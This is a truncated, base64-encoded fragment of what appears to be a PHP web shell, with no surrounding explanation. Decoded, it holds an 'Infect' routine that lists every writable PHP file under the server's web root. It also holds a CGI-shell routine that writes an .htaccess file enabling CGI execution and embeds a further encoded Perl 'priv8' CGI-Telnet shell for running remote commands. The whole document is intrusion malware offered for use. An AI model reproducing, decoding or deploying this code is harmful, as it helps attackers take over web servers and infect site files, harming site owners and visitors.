PGgxPkluZmVjdDwvaDE+PGRpdiBjbGFzcz1jb250ZW50Pic7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCRfUE9TVFsncDEnXSA9PSAnaW5mZWN0JykgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkdGFyZ2V0ID0gJF9TRVJWRVJbJ0RPQ1VNRU5UX1JPT1QnXTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZnVuY3Rpb24gTGlzdEZpbGVzKCRkaXIpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmICgkZGggPSBvcGVuZGlyKCRkaXIpKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGZpbGVzID0gQXJyYXkoKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkaW5uZXJfZmlsZXMgPSBBcnJheSgpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHdoaWxlICgkZmlsZSA9IHJlYWRkaXIoJGRoKSkgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZiAoJGZpbGUgIT0gIi4iICYmICRmaWxlICE9ICIuLiIpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJGRpciAuICIvIiAuICRmaWxlKSkgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRpbm5lcl9maWxlcyA9IExpc3RGaWxlcygkZGlyIC4gIi8iIC4gJGZpbGUpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmIChpc19hcnJheSgkaW5uZXJfZmlsZXMpKSAkZmlsZXMgPSBhcnJheV9tZXJnZSgkZmlsZXMsICRpbm5lcl9maWxlcyk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGFycmF5X3B1c2goJGZpbGVzLCAkZGlyIC4gIi8iIC4gJGZpbGUpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGNsb3NlZGlyKCRkaCk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgcmV0dXJuICRmaWxlczsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBmb3JlYWNoIChMaXN0RmlsZXMoJHRhcmdldCkgYXMgJGtleSA9PiAkZmlsZSkgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJG5GaWxlID0gc3Vic3RyKCRmaWxlLCAtNCwgNCk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZiAoJG5GaWxlID09ICIucGhwIikgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmICgoJGZpbGUgPD4gJF9TRVJWRVJbJ0RPQ1VNRU5UX1JPT1QnXSAuICRfU0VSVkVSWydQSFBfU0VMRiddKSAmJiAoaXNfd3JpdGVhYmxlKCRmaWxlKSkpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAiJGZpbGU8YnI+IjsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGkrKzsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAiPGZvbnQgY29sb3I9cmVkIHNpemU9MTQ+JGk8L2ZvbnQ+IjsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvICI8Zm9ybSBtZXRob2Q9cG9zdD48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9SW5mZWN0IG5hbWU9aW5mZXQ+PC9mb3JtPiI7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gJ1JlYWxseSB3YW50IHRvIGluZmVjdCB0aGUgc2VydmVyPyZuYnNwOzxhIGhyZWY9IyBvbmNsaWNrPSJnKG51bGwsbnVsbCxcJ2luZmVjdFwnKSI+WWVzPC9hPjwvZGl2Pic7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgcHJpbnRGb290ZXIoKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0KZnVuY3Rpb24gYWN0aW9uQ2dpU2hlbGwoKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgcHJpbnRIZWFkZXIoKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvICc8aDE+Q2dpdGVsbmV0PC9oMT48ZGl2IGNsYXNzPWNvbnRlbnQ+JzsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBta2RpcignY2dpdGVsbmV0MScsIDA3NTUpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGNoZGlyKCdjZ2l0ZWxuZXQxJyk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGtva2Rvc3lhID0gIi5odGFjY2VzcyI7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGRvc3lhX2FkaSA9ICIka29rZG9zeWEiOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRkb3N5YSA9IGZvcGVuKCRkb3N5YV9hZGksICd3Jykgb3IgZGllKCJEb3N5YSBhJiMyMzE7JiMzMDU7bGFtYWQmIzMwNTshIik7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJG1ldGluID0gIk9wdGlvbnMgRm9sbG93U3ltTGlua3MgTXVsdGlWaWV3cyBJbmRleGVzIEV4ZWNDR0kKCkFkZFR5cGUgYXBwbGljYXRpb24veC1odHRwZC1jZ2kgLmNpbgoKQWRkSGFuZGxlciBjZ2ktc2NyaXB0IC5jaW4KQWRkSGFuZGxlciBjZ2ktc2NyaXB0IC5jaW4iOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGZ3cml0ZSgkZG9zeWEsICRtZXRpbik7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZmNsb3NlKCRkb3N5YSk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGNnaXNoZWxsaXpvY2luID0gJ0l5RXZkWE55TDJKcGJpOXdaWEpzSUMxSkwzVnpjaTlzYjJOaGJDOWlZVzVrYldGcGJnMEtJeTB0TFMwdExTMHRMUzB0TFMwdExTMHQKTFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdApMUzB0TFEwS0l5QThZaUJ6ZEhsc1pUMGlZMjlzYjNJNllteGhZMnM3WW1GamEyZHliM1Z1WkMxamIyeHZjam9qWm1abVpqWTJJajV3CmNtbDJPQ0JqWjJrZ2MyaGxiR3c4TDJJK0lDTWdjMlZ5ZG1WeURRb2pMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHQKTFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHREUW9OQ2lNdApMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0CkxTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTME5DaU1nUTI5dVptbG5kWEpoZEdsdmJqb2dXVzkxSUc1bFpXUWdkRzhnWTJoaGJtZGwKSUc5dWJIa2dKRkJoYzNOM2IzSmtJR0Z1WkNBa1YybHVUbFF1SUZSb1pTQnZkR2hsY2cwS0l5QjJZV3gxWlhNZ2MyaHZkV3hrSUhkdgpjbXNnWm1sdVpTQm1iM0lnYlc5emRDQnplWE4wWlcxekxnMEtJeTB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0CkxTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUTBLSkZCaGMzTjMKYjNKa0lEMGdJbkJ5YVhZNElqc0pDU01nUTJoaGJtZGxJSFJvYVhNdUlGbHZkU0IzYVd4c0lHNWxaV1FnZEc4Z1pXNTBaWElnZEdocApjdzBLQ1FrSkNTTWdkRzhnYkc5bmFXNHVEUW9OQ2lSWGFXNU9WQ0E5SURBN0NRa0pJeUJaYjNVZ2JtVmxaQ0IwYnlCamFHRnVaMlVnCmRHaGxJSFpoYkhWbElHOW1JSFJvYVhNZ2RHOGdNU0JwWmcwS0NRa0pDU01nZVc5MUozSmxJSEoxYm01cGJtY2dkR2hwY3lCelkzSnAKY0hRZ2IyNGdZU0JYYVc1a2IzZHpJRTVVRFFvSkNRa0pJeUJ0WVdOb2FXNWxMaUJKWmlCNWIzVW5jbVVnY25WdWJtbHVaeUJwZENCdgpiaUJWYm1sNExDQjViM1VOQ2drSkNRa2pJR05oYmlCc1pXRjJaU0IwYUdVZ2RtRnNkV1VnWVhNZ2FYUWdhWE11RFFvTkNpUk9WRU50ClpGTmxjQ0E5SUNJbUlqc0pDU01nVkdocGN5QmphR0Z5WVdOMFpYSWdhWE1nZFhObFpDQjBieUJ6WlhCbGNtRjBaU0F5SUdOdmJXMWgKYm1SekRRb0pDUWtKSXlCcGJpQmhJR052YlcxaGJtUWdiR2x1WlNCdmJpQlhhVzVrYjNkeklFNVVMZzBLRFFva1ZXNXBlRU50WkZObApjQ0E5SUNJN0lqc0pDU01nVkdocGN5QmphR0Z5WVdOMFpYSWdhWE1nZFhObFpDQjBieUJ6WlhCbGNtRjBaU0F5SUdOdmJXMWhibVJ6CkRRb0pDUWtKSXlCcGJpQmhJR052YlcxaGJtUWdiR2x1WlNCdmJpQlZibWw0TGcwS0RRb2tRMjl0YldGdVpGUnBiV1Z2ZFhSRWRYSmgKZEdsdmJpQTlJREV3T3draklGUnBiV1VnYVc0Z2MyVmpiMjVrY3lCaFpuUmxjaUJqYjIxdFlXNWtjeUIzYVd4c0lHSmxJR3RwYkd4bApaQTBLQ1FrSkNTTWdSRzl1SjNRZ2MyVjBJSFJvYVhNZ2RHOGdZU0IyWlhKNUlHeGhjbWRsSUhaaGJIVmxMaUJVYUdseklHbHpEUW9KCkNRa0pJeUIxYzJWbWRXd2dabTl5SUdOdmJXMWhibVJ6SUhSb1lYUWdiV0Y1SUdoaGJtY2diM0lnZEdoaGRBMEtDUWtKQ1NNZ2RHRnIKWlNCMlpYSjVJR3h2Ym1jZ2RHOGdaWGhsWTNWMFpTd2diR2xyWlNBaVptbHVaQ0F2SWk0TkNna0pDUWtqSUZSb2FYTWdhWE1nZG1GcwphV1FnYjI1c2VTQnZiaUJWYm1sNElITmxjblpsY25NdUlFbDBJR2x6RFFvSkNRa0pJeUJwWjI1dmNtVmtJRzl1SUU1VUlGTmxjblpsCmNuTXVEUW9OQ2lSVGFHOTNSSGx1WVcxcFkwOTFkSEIxZENBOUlERTdDUWtqSUVsbUlIUm9hWE1nYVhNZ01Td2dkR2hsYmlCa1lYUmgKSUdseklITmxiblFnZEc4Z2RHaGxEUW9KQ1FrSkl5QmljbTkzYzJWeUlHRnpJSE52YjI0Z1lYTWdhWFFnYVhNZ2IzVjBjSFYwTENCdgpkR2hsY25kcGMyVU5DZ2tKQ1FraklHbDBJR2x6SUdKMVptWmxjbVZrSUdGdVpDQnpaVzVrSUhkb1pXNGdkR2hsSUdOdmJXMWhibVFOCkNna0pDUWtqSUdOdmJYQnNaWFJsY3k0Z1ZHaHBjeUJwY3lCMWMyVm1kV3dnWm05eUlHTnZiVzFoYm1SeklHeHBhMlVOQ2drSkNRa2oKSUhCcGJtY3NJSE52SUhSb1lYUWdlVzkxSUdOaGJpQnpaV1VnZEdobElHOTFkSEIxZENCaGN5QnBkQTBLQ1FrSkNTTWdhWE1nWW1WcApibWNnWjJWdVpYSmhkR1ZrTGcwS0RRb2pJRVJQVGlkVUlFTklRVTVIUlNCQlRsbFVTRWxPUnlCQ1JVeFBWeUJVU0VsVElFeEpUa1VnClZVNU1SVk5USUZsUFZTQkxUazlYSUZkSVFWUWdXVTlWSjFKRklFUlBTVTVISUNFaERRb05DaVJEYldSVFpYQWdQU0FvSkZkcGJrNVUKSUQ4Z0pFNVVRMjFrVTJWd0lEb2dKRlZ1YVhoRGJXUlRaWEFwT3cwS0pFTnRaRkIzWkNBOUlDZ2tWMmx1VGxRZ1B5QWlZMlFpSURvZwpJbkIzWkNJcE93MEtKRkJoZEdoVFpYQWdQU0FvSkZkcGJrNVVJRDhnSWx4Y0lpQTZJQ0l2SWlrN0RRb2tVbVZrYVhKbFkzUnZjaUE5CklDZ2tWMmx1VGxRZ1B5QWlJREkrSmpFZ01UNG1NaUlnT2lBaUlERStKakVnTWo0bU1TSXBPdzBLRFFvakxTMHRMUzB0TFMwdExTMHQKTFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdApMUzB0TFMwdExTMHREUW9qSUZKbFlXUnpJSFJvWlNCcGJuQjFkQ0J6Wlc1MElHSjVJSFJvWlNCaWNtOTNjMlZ5SUdGdVpDQndZWEp6ClpYTWdkR2hsSUdsdWNIVjBJSFpoY21saFlteGxjeTRnU1hRTkNpTWdjR0Z5YzJWeklFZEZWQ3dnVUU5VFZDQmhibVFnYlhWc2RHbHcKWVhKMEwyWnZjbTB0WkdGMFlTQjBhR0YwSUdseklIVnpaV1FnWm05eUlIVndiRzloWkdsdVp5Qm1hV3hsY3k0TkNpTWdWR2hsSUdacApiR1Z1WVcxbElHbHpJSE4wYjNKbFpDQnBiaUFrYVc1N0oyWW5mU0JoYm1RZ2RHaGxJR1JoZEdFZ2FYTWdjM1J2Y21Wa0lHbHVJQ1JwCmJuc25abWxzWldSaGRHRW5mUzROQ2lNZ1QzUm9aWElnZG1GeWFXRmliR1Z6SUdOaGJpQmlaU0JoWTJObGMzTmxaQ0IxYzJsdVp5QWsKYVc1N0ozWmhjaWQ5TENCM2FHVnlaU0IyWVhJZ2FYTWdkR2hsSUc1aGJXVWdiMllOQ2lNZ2RHaGxJSFpoY21saFlteGxMaUJPYjNSbApPaUJOYjNOMElHOW1JSFJvWlNCamIyUmxJR2x1SUhSb2FYTWdablZ1WTNScGIyNGdhWE1nZEdGclpXNGdabkp2YlNCdmRHaGxjaUJEClIwa05DaU1nYzJOeWFYQjBjeTROQ2lNdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHQKTFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwTkNuTjFZaUJTWldGa1VHRnljMlVnRFFwNwpEUW9KYkc5allXd2dLQ3BwYmlrZ1BTQkFYeUJwWmlCQVh6c05DZ2xzYjJOaGJDQW9KR2tzSUNSc2IyTXNJQ1JyWlhrc0lDUjJZV3dwCk93MEtDUTBLQ1NSTmRXeDBhWEJoY25SR2IzSnRSR0YwWVNBOUlDUkZUbFo3SjBOUFRsUkZUbFJmVkZsUVJTZDlJRDErSUM5dGRXeDAKYVhCaGNuUmNMMlp2Y20wdFpHRjBZVHNnWW05MWJtUmhjbms5S0M0cktTUXZPdzBLRFFvSmFXWW9KRVZPVm5zblVrVlJWVVZUVkY5TgpSVlJJVDBRbmZTQmxjU0FpUjBWVUlpa05DZ2w3RFFvSkNTUnBiaUE5SUNSRlRsWjdKMUZWUlZKWlgxTlVVa2xPUnlkOU93MEtDWDBOCkNnbGxiSE5wWmlna1JVNVdleWRTUlZGVlJWTlVYMDFGVkVoUFJDZDlJR1Z4SUNKUVQxTlVJaWtOQ2dsN0RRb0pDV0pwYm0xdlpHVW8KVTFSRVNVNHBJR2xtSUNSTmRXeDBhWEJoY25SR2IzSnRSR0YwWVNBbUlDUlhhVzVPVkRzTkNna0pjbVZoWkNoVFZFUkpUaXdnSkdsdQpMQ0FrUlU1V2V5ZERUMDVVUlU1VVgweEZUa2RVU0NkOUtUc05DZ2w5RFFvTkNna2pJR2hoYm1Sc1pTQm1hV3hsSUhWd2JHOWhaQ0JrCllYUmhEUW9KYVdZb0pFVk9WbnNuUTA5T1ZFVk9WRjlVV1ZCRkozMGdQWDRnTDIxMWJIUnBjR0Z5ZEZ3dlptOXliUzFrWVhSaE95QmkKYjNWdVpHRnllVDBvTGlzcEpDOHBEUW9KZXcwS0NRa2tRbTkxYm1SaGNua2dQU0FuTFMwbkxpUXhPeUFqSUhCc1pXRnpaU0J5WldabApjaUIwYnlCU1JrTXhPRFkzSUEwS0NRbEFiR2x6ZENBOUlITndiR2wwS0M4a1FtOTFibVJoY25rdkxDQWthVzRwT3lBTkNna0pKRWhsCllXUmxja0p2WkhrZ1BTQWtiR2x6ZEZzeFhUc05DZ2tKSkVobFlXUmxja0p2WkhrZ1BYNGdMMXh5WEc1Y2NseHVmRnh1WEc0dk93MEsKQ1Fra1NHVmhaR1Z5SUQwZ0pHQTdEUW9KQ1NSQ2IyUjVJRDBnSkNjN0RRb2dDUWtrUW05a2VTQTlmaUJ6TDF4eVhHNGtMeTg3SUNNZwpkR2hsSUd4aGMzUWdYSEpjYmlCM1lYTWdjSFYwSUdsdUlHSjVJRTVsZEhOallYQmxEUW9KQ1NScGJuc25abWxzWldSaGRHRW5mU0E5CklDUkNiMlI1T3cwS0NRa2tTR1ZoWkdWeUlEMStJQzltYVd4bGJtRnRaVDFjSWlndUt5bGNJaTg3SUEwS0NRa2thVzU3SjJZbmZTQTkKSUNReE95QU5DZ2tKSkdsdWV5ZG1KMzBnUFg0Z2N5OWNJaTh2WnpzTkNna0pKR2x1ZXlkbUozMGdQWDRnY3k5Y2N5OHZaenNOQ2cwSwpDUWtqSUhCaGNuTmxJSFJ5WVdsc1pYSU5DZ2tKWm05eUtDUnBQVEk3SUNSc2FYTjBXeVJwWFRzZ0pHa3JLeWtOQ2drSmV5QU5DZ2tKCkNTUnNhWE4wV3lScFhTQTlmaUJ6TDE0dUsyNWhiV1U5SkM4dk93MEtDUWtKSkd4cGMzUmJKR2xkSUQxK0lDOWNJaWhjZHlzcFhDSXYKT3cwS0NRa0pKR3RsZVNBOUlDUXhPdzBLQ1FrSkpIWmhiQ0E5SUNRbk93MEtDUWtKSkhaaGJDQTlmaUJ6THloZUtGeHlYRzVjY2x4dQpmRnh1WEc0cEtYd29YSEpjYmlSOFhHNGtLUzh2WnpzTkNna0pDU1IyWVd3Z1BYNGdjeThsS0M0dUtTOXdZV05yS0NKaklpd2dhR1Y0CktDUXhLU2t2WjJVN0RRb0pDUWtrYVc1N0pHdGxlWDBnUFNBa2RtRnNPeUFOQ2drSmZRMEtDWDBOQ2dsbGJITmxJQ01nYzNSaGJtUmgKY21RZ2NHOXpkQ0JrWVhSaElDaDFjbXdnWlc1amIyUmxaQ3dnYm05MElHMTFiSFJwY0dGeWRDa05DZ2w3RFFvSkNVQnBiaUE5SUhOdwpiR2wwS0M4bUx5d2dKR2x1S1RzTkNna0pabTl5WldGamFDQWthU0FvTUNBdUxpQWtJMmx1S1EwS0NRbDdEUW9KQ1Fra2FXNWJKR2xkCklEMStJSE12WENzdklDOW5PdzBLQ1FrSktDUnJaWGtzSUNSMllXd3BJRDBnYzNCc2FYUW9MejB2TENBa2FXNWJKR2xkTENBeUtUc04KQ2drSkNTUnJaWGtnUFg0Z2N5OGxLQzR1S1M5d1lXTnJLQ0pqSWl3Z2FHVjRLQ1F4S1NrdloyVTdEUW9KQ1Fra2RtRnNJRDErSUhNdgpKU2d1TGlrdmNHRmpheWdpWXlJc0lHaGxlQ2drTVNrcEwyZGxPdzBLQ1FrSkpHbHVleVJyWlhsOUlDNDlJQ0pjTUNJZ2FXWWdLR1JsClptbHVaV1FvSkdsdWV5UnJaWGw5S1NrN0RRb0pDUWtrYVc1N0pHdGxlWDBnTGowZ0pIWmhiRHNOQ2drSmZRMEtDWDBOQ24wTkNnMEsKSXkwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdApMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFEwS0l5QlFjbWx1ZEhNZ2RHaGxJRWhVVFV3Z1VHRm5aU0JJWldGa1pYSU5DaU1nClFYSm5kVzFsYm5RZ01Ub2dSbTl5YlNCcGRHVnRJRzVoYldVZ2RHOGdkMmhwWTJnZ1ptOWpkWE1nYzJodmRXeGtJR0psSUhObGRBMEsKSXkwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdApMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFEwS2MzVmlJRkJ5YVc1MFVHRm5aVWhsWVdSbGNnMEtldzBLQ1NSRmJtTnZaR1ZrClEzVnljbVZ1ZEVScGNpQTlJQ1JEZFhKeVpXNTBSR2x5T3cwS0NTUkZibU52WkdWa1EzVnljbVZ1ZEVScGNpQTlmaUJ6THloYlhtRXQKZWtFdFdqQXRPVjBwTHljbEp5NTFibkJoWTJzb0lrZ3FJaXdrTVNrdlpXYzdEUW9KY0hKcGJuUWdJa052Ym5SbGJuUXRkSGx3WlRvZwpkR1Y0ZEM5b2RHMXNYRzVjYmlJN0RRb0pjSEpwYm5RZ1BEeEZUa1E3RFFvOGFIUnRiRDROQ2p4b1pXRmtQZzBLUEhScGRHeGxQbkJ5CmFYWTRJR05uYVNCemFHVnNiRHd2ZEdsMGJHVStEUW9rU0hSdGJFMWxkR0ZJWldGa1pYSU5DZzBLUEcxbGRHRWdibUZ0WlQwaWEyVjUKZDI5eVpITWlJR052Ym5SbGJuUTlJbkJ5YVhZNElHTm5hU0J6YUdWc2JDQWdYeUFnSUNBZ2FUVmZRR2h2ZEcxaGFXd3VZMjl0SWo0TgpDanh0WlhSaElHNWhiV1U5SW1SbGMyTnlhWEIwYVc5dUlpQmpiMjUwWlc1MFBTSndjbWwyT0NCaloya2djMmhsYkd3Z0lGOGdJQ0FnCmFUVmZRR2h2ZEcxaGFXd3VZMjl0SWo0TkNqd3ZhR1ZoWkQ0TkNqeGliMlI1SUc5dVRHOWhaRDBpWkc5amRXMWxiblF1Wmk1QVh5NW0KYjJOMWN5Z3BJaUJpWjJOdmJHOXlQU0lqUmtaR1JrWkdJaUIwYjNCdFlYSm5hVzQ5SWpBaUlHeGxablJ0WVhKbmFXNDlJakFpSUcxaApjbWRwYm5kcFpIUm9QU0l3SWlCdFlYSm5hVzVvWldsbmFIUTlJakFpSUhSbGVIUTlJaU5HUmpBd01EQWlQZzBLUEhSaFlteGxJR0p2CmNtUmxjajBpTVNJZ2QybGtkR2c5SWpFd01DVWlJR05sYkd4emNHRmphVzVuUFNJd0lpQmpaV3hzY0dGa1pHbHVaejBpTWlJK0RRbzgKZEhJK0RRbzhkR1FnWW1kamIyeHZjajBpSTBaR1JrWkdSaUlnWW05eVpHVnlZMjlzYjNJOUlpTkdSa1pHUmtZaUlHRnNhV2R1UFNKagpaVzUwWlhJaUlIZHBaSFJvUFNJeEpTSStEUW84WWo0OFptOXVkQ0J6YVhwbFBTSXlJajRqUEM5bWIyNTBQand2WWo0OEwzUmtQZzBLClBIUmtJR0puWTI5c2IzSTlJaU5HUmtaR1JrWWlJSGRwWkhSb1BTSTVPQ1VpUGp4bWIyNTBJR1poWTJVOUlsWmxjbVJoYm1FaUlITnAKZW1VOUlqSWlQanhpUGlBTkNqeGlJSE4wZVd4bFBTSmpiMnh2Y2pwaWJHRmphenRpWVdOclozSnZkVzVrTFdOdmJHOXlPaU5tWm1abQpOallpUG5CeWFYWTRJR05uYVNCemFHVnNiRHd2WWo0Z1EyOXVibVZqZEdWa0lIUnZJQ1JUWlhKMlpYSk9ZVzFsUEM5aVBqd3ZabTl1CmRENDhMM1JrUGcwS1BDOTBjajROQ2p4MGNqNE5DangwWkNCamIyeHpjR0Z1UFNJeUlpQmlaMk52Ykc5eVBTSWpSa1pHUmtaR0lqNDgKWm05dWRDQm1ZV05sUFNKV1pYSmtZVzVoSWlCemFYcGxQU0l5SWo0TkNnMEtQR0VnYUhKbFpqMGlKRk5qY21sd2RFeHZZMkYwYVc5dQpQMkU5ZFhCc2IyRmtKbVE5SkVWdVkyOWtaV1JEZFhKeVpXNTBSR2x5SWo0OFptOXVkQ0JqYjJ4dmNqMGlJMFpHTURBd01DSStWWEJzCmIyRmtJRVpwYkdVOEwyWnZiblErUEM5aFBpQjhJQTBLUEdFZ2FISmxaajBpSkZOamNtbHdkRXh2WTJGMGFXOXVQMkU5Wkc5M2JteHYKWVdRbVpEMGtSVzVqYjJSbFpFTjFjbkpsYm5SRWFYSWlQanhtYjI1MElHTnZiRzl5UFNJalJrWXdNREF3SWo1RWIzZHViRzloWkNCRwphV3hsUEM5bWIyNTBQand2WVQ0Z2ZBMEtQR0VnYUhKbFpqMGl